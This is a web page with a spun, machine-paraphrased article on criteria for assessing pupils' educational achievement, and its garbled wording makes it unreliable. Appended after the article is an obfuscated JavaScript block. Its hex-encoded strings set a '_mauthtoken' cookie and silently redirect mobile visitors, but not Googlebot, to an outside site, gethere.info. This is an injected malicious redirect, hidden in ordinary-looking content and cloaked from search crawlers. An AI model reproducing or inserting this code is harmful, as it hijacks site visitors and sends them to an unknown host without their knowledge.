Assessment associated with total outcomes of educational and intellectual activities of pupils

Ack! Not math homework! Hide! My Math Homework For Me
می 2, 2018
Some recommendations that are important pupils on composing a work
می 2, 2018

Assessment associated with total outcomes of educational and intellectual activities of pupils

Successes of academic and activity that is cognitive of pupils are described as quantitative and qualitative indicators expressed and recorded by the assessment.

Assessment of knowledge – definitions and expressions in conditional devices (points), along with evaluative judgments associated with the trained instructor of real information, skills and abilities of pupils prior to what’s needed associated with the curriculum.

Concept of criteria for assessing the total outcomes of cognitive task of students

In modern pedagogy of twelfth grade you will find different ways to this is of criteria for evaluating the total outcomes of cognitive activity of students. Some boffins propose for the thing of evaluation to use the structural aspects of educational activities, namely:

  • Content component – the essaywriters quantity of understanding of the item of research (relative to curricula, state requirements). Whenever assessing the next characteristics of real information to be analyzed: completeness, correctness, logic, understanding (understanding, the difference between your main in addition to secondary); verbalization, this is certainly verbalization (translation, explanation); capacity to apply knowledge, etc.
  • Operational-organizational component – the capability associated with the pupil to find the methods of action pertaining to the curriculum associated with the evaluated discipline (substantive actions); individual psychological faculties, ie ability to compare, abstract, classify, generalize, etc. (psychological actions); abilities to investigate, plan, organize, get a handle on the procedure together with link between the task, general activity (general educational actions). The analysis, plus the correctness, self-reliance associated with the performance with regards to novelty ( because of the model, comparable, reasonably new), will also be to be analyzed. understanding and design that is verbal reproduction (interpretation), explanation, application in conditions of novelty, etc.
  • Psychological and motivational component – mindset to review (indifferent, perhaps not enough good, interested, expressive, good).

These characteristics can be taken as being a foundation for determining the level of academic achievement, basic requirements due to their assessment and relevant assessments (in points).

Other requirements for assessment pupil’s success

The criteria for evaluation may additionally be:

  • character of assimilation of currently understood knowledge (level of awareness, durability of memory, amount, completeness and precision of knowledge);
  • The quality of knowledge discovered by the learning pupil, the logic of thinking, the argumentation, the series and self-reliance associated with presentation, the tradition of message;
  • level of mastering already known ways of activity, skills and skills of application regarding the acquired knowledge in practice;
  • mastering the ability of creative activity;
  • quality associated with the work (external design, the rate of execution, diligence, etc.).

Some teachers look at the degree of knowledge to function as main criterion for evaluation:

  • reproductive (knowledge is consciously observed, fixed in memory and reproducible objective information regarding subjects of cognition);
  • reconstructive (knowledge is manifested within the willingness and cap ability associated with pupil to use them in similar, standard or variational conditions);
  • creative (students can efficiently use knowledge and assimilated ways of acting in non-typical circumstances).

Today, many educators are developing their own method of evaluating students’ knowledge, skills and abilities. Into the opinion of a few of them, the evaluation must certanly be in line with the content and amount of errors created by the pupil. They argue their viewpoint that in a few sports a performance without mistakes and shortcomings is predicted by the maximum quantity of points, and for the errors being made, the rating is reduced (gymnastics, acrobatics, figure skating, etc.). Proceeding from such recommendations, some scholars ponder over it expedient to take evaluation that is certain and defects in oral reactions and written works for the assessment criterion. It’s important to elaborate norms of assessments, that is, to look for the quantity of errors and defects that correspond to a specific assessment. Criteria and norms of assessments must certanly be developed for every scholastic discipline, therefore, the necessity for any universal, generalized evaluation criteria disappears.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}